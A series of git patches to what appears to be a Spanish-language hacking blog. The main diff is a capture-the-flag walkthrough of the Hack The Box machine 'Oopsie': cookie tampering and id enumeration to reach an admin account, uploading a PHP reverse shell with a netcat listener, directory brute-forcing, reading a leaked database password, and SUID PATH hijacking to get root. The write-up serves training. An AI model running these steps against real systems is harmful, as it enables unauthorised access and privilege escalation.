17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 25 Apr 2022 15:50:32 +0200 Subject: [PATCH 0025/1701] Update HTB-Oopsie.md --- HTB-Oopsie.md | 39 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 39 insertions(+) diff --git a/HTB-Oopsie.md b/HTB-Oopsie.md index 5bc99c0364e..5d162b32578 100644 --- a/HTB-Oopsie.md +++ b/HTB-Oopsie.md @@ -529,4 +529,43 @@ Y crearemos un archivo 'cat' que contenga la siguiente ruta '/bin/sh': ![Captura de pantalla -2022-04-21 10-49-22](https://user-images.githubusercontent.com/103068924/164787634-3a48e291-f6e5-4415-8bbb-54f197c02657.png) +Ahora le tenemos que dar privilegios de ejecución: + chmod +x cat + +![Captura de pantalla -2022-04-21 10-49-52](https://user-images.githubusercontent.com/103068924/165099961-3373a75c-d7b5-4f97-b733-9df7805772fd.png) + + +Una vez preparado el archivo 'cat', debemos agregar el directorio /tmp a la variable ambiental PATH. + +PATH es una variable de entorno en sistemas operativos similares a Unix, DOS, OS/2 y Microsoft Windows, que especifica un conjunto de directorios donde se encuentran los programas ejecutables. + +Por tanto debemos introducir el directorio 'tmp' en el archivo PATH +para poder ejecutarlo correctamente. Para ello utillizamos el siguiente comando: + + export PATH=/tmp:$PATH + +![Captura de pantalla -2022-04-21 10-48-24](https://user-images.githubusercontent.com/103068924/165100226-c25d5a72-39a6-4083-9aa4-1d58c4a85179.png) + +Para confirmar que todo a salido correctamente y verificar que el directorio 'tmp' está en PATH: + + echo $PATH + + +![Captura de pantalla -2022-04-25 15-40-24](https://user-images.githubusercontent.com/103068924/165100883-46db8497-56b3-4782-9343-7d6947b4a26d.png) + +Ahora, volvemos a ejecutar 'bugtracker' desde el directorio '/tmp': + +![Captura de pantalla -2022-04-25 15-46-04](https://user-images.githubusercontent.com/103068924/165101887-a7662ee4-3c1a-4a84-8302-cdd067ca5e3b.png) + +Genial, ya estamos registrados como 'root'. Finalmente, nos dirigimos al directorio '/root' donde encontramos el archivos 'root.txt.'. + +Para poder leer el archvio nos registramos como super usuarios: + + sudo su + +Y abrimos el archivo con 'cat' donde econtramos la última flag: + + cat root.txt + + From 7512af1ad152e90f1b4754fe14470fecf33005f5 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 25 Apr 2022 15:52:21 +0200 Subject: [PATCH 0026/1701] Update HTB-Oopsie.md --- HTB-Oopsie.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/HTB-Oopsie.md b/HTB-Oopsie.md index 5d162b32578..08466bed764 100644 --- a/HTB-Oopsie.md +++ b/HTB-Oopsie.md @@ -568,4 +568,8 @@ Y abrimos el archivo con 'cat' donde econtramos la última flag: cat root.txt + + ![background2](https://user-images.githubusercontent.com/103068924/165103059-55b4a1b6-f646-46aa-8b5a-47a804187541.png) + + From 8b5a9161f65cdd6bce2c4ff1dcbb980fb8439fac Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 25 Apr 2022 16:29:08 +0200 Subject: [PATCH 0027/1701] Update HTB-Oopsie.md --- HTB-Oopsie.md | 168 +++++++++++++++++++++++++------------------------- 1 file changed, 84 insertions(+), 84 deletions(-) diff --git a/HTB-Oopsie.md b/HTB-Oopsie.md index 08466bed764..43d3a868ebc 100644 --- a/HTB-Oopsie.md +++ b/HTB-Oopsie.md @@ -85,20 +85,20 @@ En primer lugar, vamos a comprobar si tenemos conexión ![Captura de pantalla -2022-04-12 20-29-57](https://user-images.githubusercontent.com/103068924/163029501-1f3ee38d-5925-4505-a8f3-f44d4ec1c65c.png) Por lo que podemos suponer que tiene que existir alguna página de registro por la que poder acceder. - Visto esto vamos a echar un vistazo al codigo fuente de la página para ver si encontramos algúna dirección + Visto esto vamos a echar un vistazo al código fuente de la página para ver si encontramos alguna dirección de registro. - Para ver el código fuente de una página, click derecho sobre la página y luego 'Ver código fuente de la página'. + Para ver el código fuente de una página, clic derecho sobre la página y luego 'Ver código fuente de la página'. ![Captura de pantalla -2022-04-12 20-35-40](https://user-images.githubusercontent.com/103068924/163030380-53f4419e-6e68-472d-bc81-be3d9d2f3477.png) - En la parte final del ćodigo podemos ver como muestra un directorio login. Vamos a tratar de acceder a el mediante + En la parte final del ćodigo podemos ver como muestra un directorio login. Vamos a tratar de acceder a él mediante el buscador para ver que nos reporta. ![Captura de pantalla -2022-04-12 20-38-21](https://user-images.githubusercontent.com/103068924/163030801-b7d8df3d-38b9-4d0f-83ee-55ed33284cef.png) Ahora tenemos un sitio desde el que acceder. Ya que desconocemos el usuario y la contraseña (yo he probado los - más comunes y no he tenido suerte) vamos ha acceder como invitados. Para ello le daremos a la opción Login as + más comunes y no he tenido suerte) vamos a acceder como invitados. Para ello le daremos a la opción Login as Gues y tendremos acceso como invitados. ![Captura de pantalla -2022-04-12 20-43-14](https://user-images.githubusercontent.com/103068924/163031583-c15f6fe6-be42-4aa0-89e0-44a906660539.png) @@ -110,10 +110,10 @@ aportan: ![Captura de pantalla -2022-04-12 20-46-08](https://user-images.githubusercontent.com/103068924/163032093-35422154-b58a-4d74-8fd1-9eb8540f9f82.png) -Dentro de account tenemos información sobre el usuario guest, un Access Id, su nombre y un correo eléctronico. -Luego he revisado el código fuente pero en este caso no me ha reportado mucha información. +Dentro de account tenemos información sobre el usuario guest, un Access Id, su nombre y un correo electrónico. +Luego he revisado el código fuente, pero en este caso no me ha reportado mucha información. -Tambien es interesante ver la url de la página, ya que nos asigna una id=2. +También es interesante ver la url de la página, ya que nos asigna una id=2. ![Captura de pantalla -2022-04-12 20-48-35](https://user-images.githubusercontent.com/103068924/163032502-688b1ca0-e809-4327-b327-9fe966096fca.png) @@ -121,60 +121,60 @@ Tras inspeccionar las cookies es donde encontramos algo interesante. ![Captura de pantalla -2022-04-12 20-54-39](https://user-images.githubusercontent.com/103068924/163033432-4fbc584c-ec0d-42c1-bc50-709e6d8bc50d.png) -Podemos ver como está página utiliza cookies de inicio de sesión, en caso de tener otro role y otro user, podriamos +Podemos ver como está página utiliza cookies de inicio de sesión, en caso de tener otro role y otro user, podríamos intentar cambiarlos y ganar acceso a otra cuenta. -Bien ahora pasaremos a la siguiente pestaña a ver que más nos puede reportar. +Bien, ahora pasaremos a la siguiente pestaña a ver que más nos puede reportar. # Branding ![Captura de pantalla -2022-04-12 21-39-41](https://user-images.githubusercontent.com/103068924/163040582-9d571a01-4f86-49ce-9c5f-75d654c9cf40.png) -Aquí podemos ver como se nos asigna una Brand Id = 2 y tambien podemos ver como las cookies de inicio de sesión +Aquí podemos ver como se nos asigna una Brand Id = 2 y también podemos ver como las cookies de inicio de sesión se mantienen. # Clients ![Captura de pantalla -2022-04-12 21-43-09](https://user-images.githubusercontent.com/103068924/163041152-679d8735-82e5-497b-a965-ab3de84a2654.png) - Vemos como se nos continiua asignando una ID = 2 y nos muestra un nombre 'client'. + Vemos como se nos continua asignando una ID = 2 y nos muestra un nombre 'client'. # Uploads ![Captura de pantalla -2022-04-12 21-45-19](https://user-images.githubusercontent.com/103068924/163041448-d44b6a48-5073-45ff-bccb-7d51e39f892f.png) -Esta pestaña es muy interesante ya que parece que sirve para subir archivos a la página. El único problema -es que no tenemos permisos de 'super admin'. +Esta pestaña es muy interesante, ya que parece que sirve para subir archivos a la página. El único problema +es que no tenemos permisos de 'súper admin'. -En caso de tenerlos podriamos subir algún archivo para tratar de vulnerar la máquina o de escalar privilegios. +En caso de tenerlos podríamos subir algún archivo para tratar de vulnerar la máquina o de escalar privilegios. # Recopilación de toda la información: -Tras investigar por todas las pestañas, lo más interesante que he econtrado es que todos los id de el usuario +Tras investigar por todas las pestañas, lo más interesante que he encontrado es que todos los id del usuario actual son iguales a 2. -Tambien me llama la atención como en la url de la pestaña nos especifica la id=2 +También me llama la atención como en la url de la pestaña nos especifica la id=2 ![Captura de pantalla -2022-04-12 21-54-39](https://user-images.githubusercontent.com/103068924/163042869-a1df4c54-f66a-4f39-b2dd-4bfc1e4bde75.png) -Y otra cosa importante, son las cookies de inicio de sesión que emos encontrado. +Y otra cosa importante, son las cookies de inicio de sesión que hemos encontrado. -Ahora, tras conocer toda esta información, lo que podemos hacer es porbar otras 'id' en la url de la pestaña -'Account'. Simplemente introducimos la misma url pero probamos con otros valores (0,1,3,4,...). +Ahora, tras conocer toda esta información, lo que podemos hacer es probar otras 'id' en la url de la pestaña +'Account'. Simplemente, introducimos la misma url, pero probamos con otros valores (0,1,3,4,...). ![Captura de pantalla -2022-04-12 22-00-19](https://user-images.githubusercontent.com/103068924/163043808-0172257b-1519-45d8-8ed5-3752595187da.png) -El primer intento a sido con 0 y vemos como no a tenido resultado. +El primer intento ha sido con 0 y vemos como no ha tenido resultado. ![Captura de pantalla -2022-04-12 22-01-14](https://user-images.githubusercontent.com/103068924/163044402-0c82b941-dab9-4211-803a-4cfe55d354a9.png) -Al segundo intento mediante el número id=1 vemos como nos reporta información de un usuario llamado 'admin'. Pero -nosotros buscamos al usuario 'super admin', ya que es el que tiene pleno acceso a la carga de archviso de la +Al segundo intento, mediante el número id=1 vemos como nos reporta información de un usuario llamado 'admin'. Pero +nosotros buscamos al usuario 'super admin', ya que es el que tiene pleno acceso a la carga de archivos de la pestaña Upload, así que seguimos probando. ![Captura de pantalla -2022-04-12 22-02-47](https://user-images.githubusercontent.com/103068924/163044418-a4cbd28f-f9a7-4069-a2c3-6ccb0a2e32c2.png) -Vemos como tras muchos intentos vacios, nos muestra algunos usuarios. +Vemos como tras muchos intentos vacíos, nos muestra algunos usuarios. ![Captura de pantalla -2022-04-12 22-03-43](https://user-images.githubusercontent.com/103068924/163044454-f20e27ad-192f-455b-898a-bda8336c4bc3.png) @@ -182,10 +182,10 @@ Finalmente, tras 30 intentos, lo conseguimos. El id=30 pertenece al usuario 'sup ![Captura de pantalla -2022-04-12 22-04-28](https://user-images.githubusercontent.com/103068924/163044499-978e1f8c-f344-4231-95d0-c7b5b0727c06.png) -# Cookies de inicio de sesion: +# Cookies de inicio de sesión: Ya conoces el Acces ID (86575) y el Name (super admin), ahora tenemos que iniciar sesión como ese usuario. -Tras probar ha iniciar sesión desda la págin anterior de registro a la que accedimos como 'Gues', veo que +Tras probar a iniciar sesión desde la página anterior de registro a la que accedimos como 'Gues', veo que no me permite entrar, ya que aun desconocemos la contraseña. Entonces utilizaremos las cookies de inicio de sesión para intentar acceder como super admin. Para ello, en la @@ -194,39 +194,39 @@ hasta la pestaña 'Almacenamiento'. ![Captura de pantalla -2022-04-12 22-24-01](https://user-images.githubusercontent.com/103068924/163047604-4abab7f4-15bd-4755-8c02-8adcef856ced.png) -Dentro de 'Almacenamiento' veremos una petaña llamada 'Cookies' y el dominio de la página. Bueno pues el truco +Dentro de 'Almacenamiento' veremos una pestaña llamada 'Cookies' y el dominio de la página. Bueno, pues el truco consiste en cambiar los parametros 'role' y 'user' actuales por los del super admin. ![Captura de pantalla -2022-04-12 22-25-21](https://user-images.githubusercontent.com/103068924/163047637-11e2b9cb-3cf8-46f4-9221-93a5c95f2696.png) -Una vez introducimos los nuevos datos, recaramos la página y ya tendríamos acceso como super admin. +Una vez introducimos los nuevos datos, recargamos la página y ya tendríamos acceso como super admin. Para comprobarlo, nos vamos a la pestaña Uploads y vemos como ya nos permite subir archivos. ![Captura de pantalla -2022-04-12 22-26-27](https://user-images.githubusercontent.com/103068924/163048085-17970a2a-aef6-4511-893c-a0f7cc9a4ade.png) # NetCat y Reverse-Shell -Bueno ahora que ya podemos subir archivos al sistema, vamos a probar a crear una reverse-shell.php ya que la +Bueno, ahora que ya podemos subir archivos al sistema, vamos a probar a crear una reverse-shell.php, ya que la url utiliza archivos '.php'. ![Captura de pantalla -2022-04-13 12-05-12](https://user-images.githubusercontent.com/103068924/163155180-2eef861b-2b0c-4134-9a93-7ce0c84388fb.png) ########################### php-reverse-shell.php ################################ -En caso de utilizar Kali Linux o Parrot, lo más seguro es que ya tengais una reverse-shell en vuestros repositorios. -En mi caso que utilizo parrot, si realizamos una busqueda del archivo 'php-reverse-shell.php' podemos ver como se +En caso de utilizar Kali Linux o Parrot, lo más seguro es que ya tengáis una reverse-shell en vuestros repositorios. +En mi caso que utilizo parrot, si realizamos una búsqueda del archivo 'php-reverse-shell.php' podemos ver como se aloja en los siguientes directorios: ![Captura de pantalla -2022-04-13 12-05-12](https://user-images.githubusercontent.com/103068924/163155773-14809f0c-7c41-40a0-93fc-7274badd19df.png) En mi caso me aparece en dos repositorios y luego yo he realizado una copia en la carpeta Descargas para poder -configurar con nuestros datos nuestra reverse-shell. Es importante copiar el archivo en la carpeta Descargas -ya que será dificil buscar nuestro archvivo desde la página de Uploads a la hora de subirlo. +configurar con nuestros datos nuestra reverse-shell. Es importante copiar el archivo en la carpeta 'Descargas', +ya que será difícil buscar nuestro archivo desde la página de Uploads a la hora de subirlo. -En caso de no tener el archivo php-reverse-shelll.php en vuestro sitema, lo podeis encontrar en mi repositorio -de github mediante el siguiente enlace: https://github.com/F1r0x/php-reverse-shell.php/blob/main/php-reverse-shell.php +En caso de no tener el archivo php-reverse-shelll.php en vuestro sistema, lo podéis encontrar en mi repositorio +de GitHub mediante el siguiente enlace: https://github.com/F1r0x/php-reverse-shell.php/blob/main/php-reverse-shell.php -Para tenerlo, simplemente lo copiais, abris una terminal y crearemos el archivo mediante nano: +Para tenerlo, simplemente lo copiáis, abrís una terminal y crearemos el archivo mediante nano: nano php-reverse-shell.php @@ -234,8 +234,8 @@ Pegamos todo el script, guardamos (Cntrl + o) y salimos (Cntrl + x). # Configurar nuestra reverse-shell: -Ya tendriamos la reverse-shell, ahora solo faltaría configurarla. Para ello, desde el directorio en el que este -el archivo php-reverse-shell.php (recomiendo que sea Descargas), meidante el comando nano cambiaremos la Ip por +Ya tendríamos la reverse-shell, ahora solo faltaría configurarla. Para ello, desde el directorio en el que esté +el archivo php-reverse-shell.php (recomiendo que sea Descargas), mediante el comando nano cambiaremos la Ip por la nuestra y estableceremos un puerto, desde el cual, posteriormente con NetCat nos pondremos en escucha. La configuración es muy simple, lo único que tenemos que hacer es cambiar la Ip @@ -260,11 +260,11 @@ cuál es nuestra Ip, podemos verlo mediante el comando 'ipconfig': Guardamos (Cntrl + o) y salimos (Cntrl + x). -Ya tendriamos nuestro archivo php-reverse-shell.php preparado. Ahora lo siguiente seria tratar de subirlo a la +Ya tendríamos nuestro archivo php-reverse-shell.php preparado. Ahora lo siguiente seria tratar de subirlo a la página desde la pestaña Uploads. (NOTA: La Ip de la máquina que yo os muestro a lo largo del write-up va cambiando debido a que realizarlo -a llevado horas y he tenido que reiniciar varias veces la máquina) +ha llevado horas y he tenido que reiniciar varias veces la máquina) ![Captura de pantalla -2022-04-13 13-05-15](https://user-images.githubusercontent.com/103068924/163167449-e3ecf585-c2b0-4ada-bf15-65948855ebc2.png) @@ -283,9 +283,9 @@ Perfecto, ya tendríamos nuestro archivo subido. ![Captura de pantalla -2022-04-13 13-06-42](https://user-images.githubusercontent.com/103068924/163167608-faa10f70-d676-44d5-b261-2b197eae910e.png) - Ahora faltaría preparar nuestro NetCat para que se pongo en modo escucha por el puerto 8080. - Antes de probar el 8080 probe otros con el cual no conseguí establecer conexión para que - lo tengaís en cuenta. + Ahora faltaría preparar nuestro NetCat para que se ponga en modo escucha por el puerto 8080. + Antes de probar el 8080 probé otros con el cual no conseguí establecer conexión para que + lo tengáis en cuenta. Para ponernos en escucha, abrimos una terminal y ejecutamos el siguiente comando: @@ -303,88 +303,88 @@ Perfecto, ya tendríamos nuestro archivo subido. ![Captura de pantalla -2022-04-13 13-25-27](https://user-images.githubusercontent.com/103068924/163170156-2409012e-2a0e-4657-8d97-247bd3862179.png) El siguiente paso sería ejecutar el archivo php-reverse-shell.php que hemos almacenado en la -máquina víctima. El unico problema es que no sabemos donde se ha almacenado nuestro archivo. -Para encontrar nuesto archvi utilizaremos la herramienta 'gobuester'. +máquina víctima. El único problema es que no sabemos donde se ha almacenado nuestro archivo. +Para encontrar nuestro archivo utilizaremos la herramienta 'gobuester'. # Gobuster -Gobuster es una herramienta utilizada para la fuerza bruta de busqueda de URL, incluidos directorios y archivos, +Gobuster es una herramienta utilizada para la fuerza bruta de búsqueda de URL, incluidos directorios y archivos, así como subdominios DNS. Para instalarlo simplemente ejecutamos: sudo apt install gobuster - Y tambien tendremos que descargar los repositorios de direcciones, en esta ocasion utilizaremos un + Y también tendremos que descargar los repositorios de direcciones, en esta ocasión utilizaremos un repositorio llamado 'wordlists' y en concreto la lista de directorios 'directory-list-2.3-small.txt. - Podeis descargaros estas bibliotecas de directorios desde la misma página de github, existen un monton + Podéis descargaros estas bibliotecas de directorios desde la misma página de github, existen un montón de variantes en función del sistema a explotar. De todas formas revisar primero si ya existe en - vuestro sistema ya que algunos SO traen repositoios instalados. + vuestro sistema, ya que algunos SO traen repositorios instalados. Para descargar o copiar: https://gist.github.com/sl4v/c087e36164e74233514b - En ese enlace encontrareis la biblioteca que vamos a utilizar, yo recomoento instalarlo en el siguiente - directorio, si el directorio no existe crarlo.: + En ese enlace encontraréis la biblioteca que vamos a utilizar, yo recomiendo instalarlo en el siguiente + directorio, si el directorio no existe crearlo.: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt - Bien, ya tenemos nuesto Gobuster y nuestra biblioteca de directorios, ahora toca lanzar la herramienta a ver + Bien, ya tenemos nuestro Gobuster y nuestra biblioteca de directorios, ahora toca lanzar la herramienta a ver que nos reporta: gobuster dir --url http://[Ip Víctima]/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php - Ahora gobuster empezará a realizar pruebas y a mostrarnos resultados a medida q avanza. No tenemos que esperar a - que finalice, simplemente fijaros en cuales son los directorios que reporta y ir probando a ver cuales son + Ahora gobuster empezará a realizar pruebas y a mostrarnos resultados a medida que avanza. No tenemos que esperar a + que finalice, simplemente fijaros en cuales son los directorios que reporta y ir probando a ver cuáles son funcionales. ![Captura de pantalla -2022-04-13 13-56-08](https://user-images.githubusercontent.com/103068924/163174943-ef87aba2-a3da-4ede-aeae-447ea841f8ad.png) - Para para el proceso: Cntrl + c + Para el proceso: Cntrl + c - En esta caso hemos tenido suerte ya que al poco de buscar a encontrado una ruta que nos dirige al directorio + En este caso hemos tenido suerte, ya que al poco de buscar ha encontrado una ruta que nos dirige al directorio Uploads. http://[Ip Víctima]/uploads/ - Una vez echo esto nos dirigiremos al navegador y tratremos de introducir la siguiente ruta: + Una vez hecho esto nos dirigiremos al navegador y trataremos de introducir la siguiente ruta: http://[Ip Víctima]/uploads/php-reverse-shell.php ![Captura de pantalla -2022-04-13 13-46-48](https://user-images.githubusercontent.com/103068924/163173691-3a6ffdf3-68f3-4118-af32-35aaba15b3a4.png) - Una vez echo esto volvemos a la terminal donde se encontraba el 'netcat' y deberia de haberse abierto + Una vez realizado esto, volvemos a la terminal donde se encontraba el 'netcat' y debería de haberse abierto nuestra shell. ![Captura de pantalla -2022-04-13 13-48-41](https://user-images.githubusercontent.com/103068924/163173725-66250263-5c8b-4878-8549-897c4cfb935b.png) Efectivamente, ya tenemos nuestra reverse-shell preparada y activa. - # Busqueda de la primera Flag: + # Búsqueda de la primera Flag: Una vez tengamos la shell activa, podemos ver los directorios mediante ls: ![Captura de pantalla -2022-04-13 14-59-23](https://user-images.githubusercontent.com/103068924/163187298-bce39584-72ea-45bd-83f0-e9dd8cf827cd.png) Vamos a ver que Usuarios tenemos registrados en el sistema, para ello nos dirigimos al directorio /home y vemos - q existe el usuario 'robert'. + que existe el usuario 'robert'. ![Captura de pantalla -2022-04-13 15-00-24](https://user-images.githubusercontent.com/103068924/163187555-39762713-a2b8-494b-8119-3d63bf5243f1.png) - Y bingo!! dentro del directorio 'robert' podemos ver el archivo 'user.txt' que contiene la primera Flag. + Y bingo!! Dentro del directorio 'robert' podemos ver el archivo 'user.txt' que contiene la primera Flag. ![Captura de pantalla -2022-04-13 15-00-44](https://user-images.githubusercontent.com/103068924/163187928-3efd9b72-3992-4036-923d-d6ae79a7686a.png) - Mediante el comando cat podemos ver en la terminal el contenido del archivo: + Mediante el comando 'cat' podemos ver en la terminal el contenido del archivo: cat user.txt ![Captura de pantalla -2022-04-13 15-02-39](https://user-images.githubusercontent.com/103068924/163187942-4cde5ee7-b0eb-418c-b192-e719391765f7.png) -Ahora para poder trabajar de manera más comoda y tratar de escalar privilegios, primero, abriremos una shell +Ahora, para poder trabajar de manera más cómoda y tratar de escalarar privilegios, primero, abriremos una shell más funcional. Para ello volvemos al directorio principal mediante cd y ejecutamos el siguiente comando: @@ -395,7 +395,7 @@ más funcional. Para ello volvemos al directorio principal mediante cd y ejecuta ![Captura de pantalla -2022-04-21 08-17-46](https://user-images.githubusercontent.com/103068924/164387012-eed5d362-cf52-4c9b-bbe8-dea4a252ab4a.png) Bien, ahora ya tenemos una shell más segura y funcional. Ya hemos visto que con el usuario actual no podemos -hacer mucho más ya que tenemos el acceso restringido al sistema. +hacer mucho más, ya que tenemos el acceso restringido al sistema. Ya que el sitio web utiliza PHP y SQL, podemos tratar de comprobar el directorio web en busca de posibles divulgaciones o configuraciones incorrectas. @@ -405,14 +405,14 @@ ver uno con el nombre 'login' (/var/www/html/cdn-cgi/login) que contiene distint ![Captura de pantalla -2022-04-21 08-26-47](https://user-images.githubusercontent.com/103068924/164388471-47ec0d82-21a7-4605-add7-ad0acd87390e.png) -Aparecen tres archivos '.php' y uno '.js', el siguiente paso seria buscar información en el codigo fuente de cada +Aparecen tres archivos '.php' y uno '.js', el siguiente paso sería buscar información en el codigo fuente de cada archivo. Para ello, buscaremos cadenas interesantes con el uso de la herramienta 'grep'. Grep es una herramienta que busca patrones en cada archivo e imprime las líneas que coinciden con los patrones. -Junto a esta herramienta podemos utilizar el comnado 'cat' para leer todos los arhcivos filtrados por 'grep'. +Junto a esta herramienta podemos utilizar el comanado 'cat' para leer todos los archivos filtrados por 'grep'. Con grep utilizaremos el patrón 'passw' para tratar de roportar todas los resultados con ese inicio de palabra (como -passwd o password por ejemplo). Tambien utilizaremos -i para ignorar las palabras sensibles a mayúsculas y minúsculas +passwd o password por ejemplo). También usaremos -i para ignorar las palabras sensibles a mayúsculas y minúsculas como por ejemplo las contraseñas en este caso. cat * | grep -i passw* @@ -430,14 +430,14 @@ como por ejemplo las contraseñas en este caso. ![Captura de pantalla -2022-04-21 08-51-23](https://user-images.githubusercontent.com/103068924/164391835-0f93382c-112b-4f0d-ba0b-c2efab165c22.png) Podemos ver como tenemos un usuario llamado 'robert'. Vamos a tratar de entrar como este usuario mediante el -comadno 'su' y con la contraseña previamente encontrada. +comando 'su' y con la contraseña previamente encontrada. su robert ![Captura de pantalla -2022-04-21 08-56-29](https://user-images.githubusercontent.com/103068924/164392632-a0950c9a-d518-4ba7-a9a0-433173395c23.png) -Podemos ver que la contraseña no corresponde con este usuario. Como no nos sirve está contraseña vamos a seguir +Podemos ver que la contraseña no corresponde con este usuario. Como no nos sirve está contraseña, vamos a seguir revisando los archivos ".php" y ".js" de manera manual en busca de algo más. Tras revisar los cuatro archivos, vemos que en el archivo 'db.php' encontramos la siguiente información: @@ -446,19 +446,19 @@ Tras revisar los cuatro archivos, vemos que en el archivo 'db.php' encontramos l ![Captura de pantalla -2022-04-21 09-02-58](https://user-images.githubusercontent.com/103068924/164393733-c692a948-0f9d-45ce-ac05-e7afab97ff00.png) -Como podeis ver aparecen cuatro palabras que podemos probar como contraseñas, tras probarlas vemos como la +Como podéis ver aparecen cuatro palabras que podemos probar como contraseñas, tras probarlas vemos como la contraseña del usuario 'robert' es "M3g4C0rpUs3r!" su robert ![Captura de pantalla -2022-04-21 09-08-58](https://user-images.githubusercontent.com/103068924/164394920-e350b001-4047-4f76-9c31-6097ef72ea92.png) -Finalmente estamos como el usuario 'robert', podemos comprobarlo utilizando el comando 'whoami': +Finalmente, estamos como el usuario 'robert', podemos comprobarlo utilizando el comando 'whoami': ![Captura de pantalla -2022-04-21 09-10-00](https://user-images.githubusercontent.com/103068924/164396131-26ff5453-22ee-48a5-9629-18f5b73e9be9.png) -Ahora podemos ir al directorio pricipal /home/robert y veremos como ahi está nuestro archivo user.txt con -nuestra primera flag que ya habiamos visto anteriormente sin necesidad de ningún privilegio. +Ahora podemos ir al directorio principal /home/robert y veremos como ahí está nuestro archivo user.txt con +nuestra primera flag que ya habíamos visto anteriormente sin necesidad de ningún privilegio. cd /home/robert @@ -470,19 +470,19 @@ Pero nosotros lo que buscamos es la flag del super usuario y para ello debemos d # Escalada de Privilegios. -En primer luegar trataremos de iniciar sesion como super usuario mediante 'sudo': +En primer lugar, trataremos de iniciar sesión como super usuario mediante 'sudo': sudo su robert ![Captura de pantalla -2022-04-21 09-27-12](https://user-images.githubusercontent.com/103068924/164400159-7bc36117-61a0-4dc8-87c4-9e93ab5bb34c.png) -Tras probar las contraseñas previamente rocopiladas vemos como ningúna parece funcionar. Vamos a seguir buscando +Tras probar las contraseñas previamente recopiladas vemos como ninguna parece funcionar. Vamos a seguir buscando información, está vez, vamos a revisar los grupos en los que forma parte el usuario 'robert', para ello utilizaremos el comando 'id': ![Captura de pantalla -2022-04-21 09-33-56](https://user-images.githubusercontent.com/103068924/164402956-9fb36b29-d5cb-4e17-8efb-742d75145cd8.png) -Vemos como el usurio robert es parte del grupo 'bugtracker'. Ahora, intentemos ver si hay algún +Vemos como el usuario robert es parte del grupo 'bugtracker'. Ahora, intentemos ver si hay algún binario dentro de ese grupo: find / -group bugtracker 2>/dev/null @@ -495,13 +495,13 @@ Nos ha reportado un archivo llamado 'bugtracker'. Ahora comprobamos qué privile ![Captura de pantalla -2022-04-21 09-47-02](https://user-images.githubusercontent.com/103068924/164405567-6055d680-b99b-4635-a3ad-a2c54ad77b82.png) -Podemos ver que existe un conjunto 'SUID' en ese binario, este es un buen camino de eplotación para tratar de +Podemos ver que existe un conjunto 'SUID' en ese binario, este es un buen camino de explotación para tratar de escalar privilegios. -Un archivo SUID simepre se ejecuta como el usuario propietario del archivo, independientemente de que usuaio +Un archivo SUID siempre se ejecuta como el usuario propietario del archivo, independientemente de que usuario pase el comando. -En nuestro caso, el 'butracker' binario es propiedad de 'root' y por tanto podemos ejecutalo como root ya +En nuestro caso, el 'butracker' binario es propiedad de 'root' y por tanto, podemos ejecutalo como root ya que tiene configurado SUID. Para ello ejecutamos 'bugtacker': @@ -510,7 +510,7 @@ Para ello ejecutamos 'bugtacker': ![Captura de pantalla -2022-04-21 09-57-05](https://user-images.githubusercontent.com/103068924/164786353-6e21c5ef-1b8e-465b-808e-371ac1f3b293.png) -En mi caso probe con 'home' para ver que me reportava: +En mi caso probé con 'home' para ver que me reportaba: ![Captura de pantalla -2022-04-21 10-01-29](https://user-images.githubusercontent.com/103068924/164786858-de17dddb-948d-4cd9-82b6-0fb270d85340.png) @@ -540,14 +540,14 @@ Una vez preparado el archivo 'cat', debemos agregar el directorio /tmp a la vari PATH es una variable de entorno en sistemas operativos similares a Unix, DOS, OS/2 y Microsoft Windows, que especifica un conjunto de directorios donde se encuentran los programas ejecutables. -Por tanto debemos introducir el directorio 'tmp' en el archivo PATH -para poder ejecutarlo correctamente. Para ello utillizamos el siguiente comando: +Por tanto, debemos introducir el directorio 'tmp' en el archivo PATH +para poder ejecutarlo correctamente. Para ello utilizamos el siguiente comando: export PATH=/tmp:$PATH ![Captura de pantalla -2022-04-21 10-48-24](https://user-images.githubusercontent.com/103068924/165100226-c25d5a72-39a6-4083-9aa4-1d58c4a85179.png) -Para confirmar que todo a salido correctamente y verificar que el directorio 'tmp' está en PATH: +Para confirmar que todo ha salido correctamente y verificar que el directorio 'tmp' está en PATH: echo $PATH @@ -558,13 +558,13 @@ Ahora, volvemos a ejecutar 'bugtracker' desde el directorio '/tmp': ![Captura de pantalla -2022-04-25 15-46-04](https://user-images.githubusercontent.com/103068924/165101887-a7662ee4-3c1a-4a84-8302-cdd067ca5e3b.png) -Genial, ya estamos registrados como 'root'. Finalmente, nos dirigimos al directorio '/root' donde encontramos el archivos 'root.txt.'. +Genial, ya estamos registrados como 'root'. Finalmente, nos dirigimos al directorio '/root' donde encontramos el archivo 'root.txt.'. Para poder leer el archvio nos registramos como super usuarios: sudo su -Y abrimos el archivo con 'cat' donde econtramos la última flag: +Y abrimos el archivo con 'cat' donde encontramos la última Flag: cat root.txt From c1aa8cca22ce6d159e4ee1a5c3fa22d101f4f973 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 25 Apr 2022 20:37:12 +0200 Subject: [PATCH 0028/1701] Update index.md --- index.md | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/index.md b/index.md index 5a4a603bd8d..2b90f8b987f 100644 --- a/index.md +++ b/index.md @@ -7,7 +7,6 @@ [HTB-Responder](./HTB-Responder.html) - ## Herramientas y Scripts [WichSystem](./WichSystem.html) @@ -16,5 +15,11 @@ [php-reverse-shell.php](./php-reverse-shell.html) +## Artículos + +[Fase de Reconocimiento - HTB](./Fase_de_reconocimiento-HTB) + + + --- From eb76da97fc14653733d371b19269105754ea250f Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 25 Apr 2022 20:37:57 +0200 Subject: [PATCH 0029/1701] Create fase_de_reconocimiento-HTB --- fase_de_reconocimiento-HTB | 103 +++++++++++++++++++++++++++++++++++++ 1 file changed, 103 insertions(+) create mode 100644 fase_de_reconocimiento-HTB diff --git a/fase_de_reconocimiento-HTB b/fase_de_reconocimiento-HTB new file mode 100644 index 00000000000..612e255be6a --- /dev/null +++ b/fase_de_reconocimiento-HTB @@ -0,0 +1,103 @@ +# Fase de Reconocimiento - 